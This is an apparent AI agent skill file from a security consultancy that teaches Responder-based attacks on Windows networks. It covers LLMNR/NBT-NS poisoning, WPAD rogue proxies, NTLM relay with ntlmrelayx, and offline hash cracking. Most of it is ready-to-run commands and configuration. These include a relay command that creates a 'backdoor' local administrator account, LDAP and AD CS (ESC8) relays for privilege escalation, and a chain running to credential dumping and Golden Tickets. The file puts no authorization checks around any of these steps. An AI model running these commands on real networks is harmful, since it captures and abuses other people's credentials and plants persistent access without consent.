Responder

responder Agent Skill

When to Use This Skill

Use this skill when:

• Performing internal network penetration tests on Windows environments
• The user wants to capture NTLMv1 or NTLMv2 hashes without user interaction
• Setting up WPAD rogue proxy attacks to intercept HTTP traffic
• Relaying captured credentials to other hosts with ntlmrelayx
• Chaining Responder into an Active Directory lateral movement or privilege escalation path
• The user asks about LLMNR, NBT-NS, mDNS poisoning, or NTLM relay

What Responder Does

Responder listens on the network for broadcast and multicast name resolution requests (LLMNR, NBT-NS, mDNS) that Windows systems emit when DNS fails to resolve a hostname. By spoofing authoritative responses, Responder tricks targets into authenticating to an attacker-controlled service, capturing NetNTLM challenge-response hashes. Those hashes can be cracked offline or relayed to other hosts for lateral movement without needing to crack the password.

Installation

# Kali Linux (pre-installed at /usr/share/responder or /opt/responder)
which responder || sudo apt install responder
ls /usr/share/responder/

# Clone from GitHub (recommended — always latest)
git clone https://github.com/lgandx/Responder.git /opt/responder
cd /opt/responder
pip3 install -r requirements.txt   # Typically no external deps needed

# Verify
python3 /opt/responder/Responder.py --help

# On Kali, Responder is also symlinked:
responder --help

Core Concepts

How LLMNR / NBT-NS / mDNS Poisoning Works

1. A Windows host attempts to resolve \\fileserver (e.g., a mistyped UNC path, net use, a failed DNS lookup).
2. DNS fails to resolve the name.
3. Windows falls back to LLMNR (Link-Local Multicast Name Resolution — UDP 5355) and NBT-NS (NetBIOS Name Service — UDP/TCP 137) broadcast queries.
4. Responder hears the broadcast and replies first: "I am fileserver, connect to me."
5. The target connects to Responder's rogue services (SMB, HTTP, LDAP, etc.) and submits NetNTLM credentials.
6. Responder logs the challenge-response hash.

mDNS (Multicast DNS — UDP 5353) is exploited the same way, more common on macOS and Linux.

Hash Types Captured

NTLMv1 is rare in modern environments but significantly easier to crack. NTLMv2 is the default and common.

Captured Hash Storage

/opt/responder/logs/
├── Analyzer-Session.log         # Analyze mode log (passive)
├── HTTP-NTLMv2-10.10.10.50.txt  # Per-host NTLMv2 hash files
├── SMB-NTLMv2-10.10.10.50.txt
├── FTP-ClearText-10.10.10.50.txt
├── HTTP-Clear-Text-10.10.10.50.txt
├── HTTP-BasicAuth-10.10.10.50.txt
└── Responder-Session.log        # Full session log

CLI Reference

# Basic syntax
python3 /opt/responder/Responder.py -I <interface> [options]

# Core flags
-I eth0          # Interface to listen on (REQUIRED)
-A               # Analyze mode — passive listening, no poisoning (recon)
-w               # Enable WPAD rogue proxy server
-F               # Force WPAD authentication (trigger even without proxy config)
-b               # Enable HTTP Basic Auth instead of NTLM for HTTP
-v               # Verbose output — show each poison and capture event
-f               # Fingerprint hosts — identify OS via passive analysis
--lm             # Force LM hashing downgrade (NTLMv1/LM — legacy targets)
--disable-ess    # Disable Extended Session Security (NTLMv1 only)
-d               # Enable DHCP poisoning (inject WPAD via DHCP)
-D               # DHCP DNS injection (add DNS entry via DHCP offer)
-P               # Use Proxy Auth for WPAD (forces cleartext creds)

# Common invocations
# Full poison mode (default — all protocols)
python3 Responder.py -I eth0

# Analyze only — listen but never respond (safe recon)
python3 Responder.py -I eth0 -A

# With WPAD proxy
python3 Responder.py -I eth0 -w -F

# Force basic auth (cleartext HTTP password capture)
python3 Responder.py -I eth0 -b

# Verbose with WPAD and forced auth
python3 Responder.py -I eth0 -wFv

# Fingerprinting mode
python3 Responder.py -I eth0 -Afv

# Specific interface with all features
python3 Responder.py -I eth0 -wFbv --lm

Responder.conf — Configuration Tuning

Located at /opt/responder/Responder.conf. Edit before launching to control which services are active.

[Responder Core]
; Network interface to use (overridden by -I flag)
; Interface = eth0

; Disable specific servers to avoid conflicts (e.g., if host runs a real SMB)
SQL     = On     ; MSSQL — capture SQL auth
SMB     = On     ; SMB — primary hash capture vector
Kerberos = On    ; Kerberos — rarely useful but leave on
FTP     = On     ; FTP cleartext
POP     = On
SMTP    = On
IMAP    = On
HTTP    = On     ; HTTP NTLM and Basic
HTTPS   = On     ; HTTPS (self-signed cert)
DNS     = On     ; DNS spoofing
LDAP    = On     ; LDAP NTLM

[HTTP Server]
; Force NTLM auth on HTTP (default)
Auth = NTLM      ; or Basic for cleartext

[HTTPS Server]
; Self-signed cert details
SSLCert   = /opt/responder/certs/responder.crt
SSLKey    = /opt/responder/certs/responder.key

[Responder]
; Challenge used in NTLM handshake
Challenge = Random    ; or specific hex: 1122334455667788

Disable SMB/HTTP when running ntlmrelayx

When relaying, you MUST disable SMB and HTTP in Responder.conf (set SMB = Off, HTTP = Off), then run ntlmrelayx separately:

SMB = Off
HTTP = Off

Common Workflows

Standard Hash Capture

# Step 1: Identify active interface
ip a  # Note the interface connected to target subnet

# Step 2: Start Responder
python3 /opt/responder/Responder.py -I eth0 -v

# Step 3: Wait — any Windows host trying to resolve a non-existent share triggers capture
# [+] Poisoning: Sending LLMNR response to 10.10.10.50 for name fileserver01
# [SMB] NTLMv2-SSP Client   : 10.10.10.50
# [SMB] NTLMv2-SSP Username : DOMAIN\jsmith
# [SMB] NTLMv2-SSP Hash     : jsmith::DOMAIN:aad3b435...:...

# Step 4: Crack the hash
cat /opt/responder/logs/SMB-NTLMv2-10.10.10.50.txt
hashcat -m 5600 /opt/responder/logs/SMB-NTLMv2-10.10.10.50.txt \
        /opt/seclists/Passwords/Leaked-Databases/rockyou.txt \
        --force

Analyze Mode — Passive Recon

# Identify hosts broadcasting name resolution without poisoning
python3 /opt/responder/Responder.py -I eth0 -A -v

# Output reveals:
# - Which hosts are broadcasting LLMNR/NBT-NS requests
# - What hostnames they are querying (leaked internal naming conventions)
# - Operating system fingerprints via SMB dialect
# - Perfect for stealth recon before active attacks

WPAD Rogue Proxy Attack

# WPAD: Web Proxy Auto-Discovery — Windows auto-configures proxy via wpad.dat
# If wpad.dat is not hosted by a legitimate server, Windows asks LLMNR/NBT-NS for "wpad"

# Start Responder with WPAD enabled and force auth
python3 /opt/responder/Responder.py -I eth0 -w -F -v

# When a host tries to find wpad.domain.local:
# 1. Responder poisons the request → points host to attacker IP
# 2. Responder serves a wpad.dat: PROXY attacker:3128
# 3. Browser connects to Responder's HTTP server
# 4. Responder challenges with NTLM → captures hash

NTLM Relay Attack — Credential Relay Without Cracking

# Requirements:
# 1. SMB signing disabled on target (verify with: nmap --script smb2-security-mode -p 445 10.10.10.0/24)
# 2. Captured credential must have rights on the relay target

# Step 1: Disable SMB and HTTP in Responder.conf
# SMB = Off
# HTTP = Off

# Step 2: Start Responder (still poisons, but doesn't serve SMB/HTTP)
python3 /opt/responder/Responder.py -I eth0 -v

# Step 3: Start ntlmrelayx from impacket (separate terminal)
# Basic relay — opens interactive shell
python3 /opt/impacket/examples/ntlmrelayx.py -t smb://10.10.10.20 -smb2support

# Relay and execute command
python3 /opt/impacket/examples/ntlmrelayx.py \
  -t smb://10.10.10.20 \
  -smb2support \
  -c "net user backdoor P@ssw0rd! /add && net localgroup administrators backdoor /add"

# Relay to multiple targets (targets.txt = one IP per line)
python3 /opt/impacket/examples/ntlmrelayx.py \
  -tf targets.txt \
  -smb2support \
  -l /tmp/loot/

# Relay to LDAP (dump AD info or add computer account for AD escalation)
python3 /opt/impacket/examples/ntlmrelayx.py \
  -t ldap://dc01.domain.local \
  --escalate-user compromised_user

# Relay to LDAPS (with AD CS — ESC8 attack)
python3 /opt/impacket/examples/ntlmrelayx.py \
  -t https://ca.domain.local/certsrv/certfnsh.asp \
  --adcs --template DomainController

Cracking Captured Hashes

# NTLMv2 (most common)
hashcat -m 5600 /opt/responder/logs/SMB-NTLMv2-*.txt \
        /opt/seclists/Passwords/Leaked-Databases/rockyou.txt \
        -r /usr/share/hashcat/rules/best64.rule

# NTLMv1 (faster to crack)
hashcat -m 5500 /opt/responder/logs/SMB-NTLMv1-*.txt \
        /opt/seclists/Passwords/Leaked-Databases/rockyou.txt

# John the Ripper
john --wordlist=/opt/seclists/Passwords/Leaked-Databases/rockyou.txt \
     /opt/responder/logs/SMB-NTLMv2-10.10.10.50.txt \
     --format=netntlmv2

# Check cracked passwords
john --show /opt/responder/logs/SMB-NTLMv2-10.10.10.50.txt

Advanced Techniques

MultiRelay

MultiRelay is a built-in Responder component for SMB relay (older approach — ntlmrelayx is preferred):

# List hosts with SMB signing disabled
python3 /opt/responder/tools/RunFinger.py -i 10.10.10.0/24

# Run MultiRelay against a specific target
# (Disable SMB in Responder.conf first)
python3 /opt/responder/tools/MultiRelay.py -t 10.10.10.20 -u ALL

Force NTLMv1 Downgrade

Some older or misconfigured hosts may send NTLMv1 if challenged correctly:

# Set challenge to a known value in Responder.conf
Challenge = 1122334455667788

# Enable LM downgrade flag
python3 Responder.py -I eth0 --lm --disable-ess

# NTLMv1 without ESS → crack with crack.sh or hashcat -m 5500
# Can also derive NTLM hash directly from NTLMv1 using rainbow tables at crack.sh

AD Attack Chain Integration

Responder captures NTLMv2 hash
        ↓
Crack with hashcat → plaintext password
        ↓
NetExec to spray password across domain
        ↓
Find machine with domain admin session (--logged-on-users)
        ↓
lsassy/mimikatz module to dump additional credentials
        ↓
Pass-the-hash or Golden Ticket

Troubleshooting

No hashes captured:

• Confirm you are on the same broadcast domain as targets (same VLAN/subnet)
• Verify LLMNR/NBT-NS is enabled on targets: Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\NetBT\Parameters -Name NodeType (not 2 = disabled)
• Use analyze mode first (-A) to confirm broadcasts are visible
• Some hardened environments disable LLMNR via Group Policy

Error: Address already in use (port 445):

# Stop any service occupying port 445
sudo systemctl stop smbd
sudo systemctl stop nmbd
# Then restart Responder

Responder not starting on Kali:

# Verify Python 3 and pip
python3 --version
# Run as root (required for raw socket binding)
sudo python3 /opt/responder/Responder.py -I eth0

Hashes not cracking:

• User has a strong password — try rules: -r dive.rule, -r OneRuleToRuleThemAll.rule
• Try relay instead of cracking — hashes don't need to be cracked for relay
• Confirm hash format is correct (copy entire line including username and domain)

ntlmrelayx fails to relay:

• Confirm SMB signing is disabled: nmap --script smb2-security-mode -p 445 <target>
• Ensure port 445 is not firewalled between attacker and relay target
• Try -smb2support flag explicitly

Built by Red Hound InfoSec — On-demand offensive security expertise for SMBs. 20+ years of Fortune 500 experience. Penetration testing, attack surface analysis, and security consulting.

Related reading: 5 Active Directory Misconfigurations We See in Every Engagement

redhound.us | GitHub | Book a consultation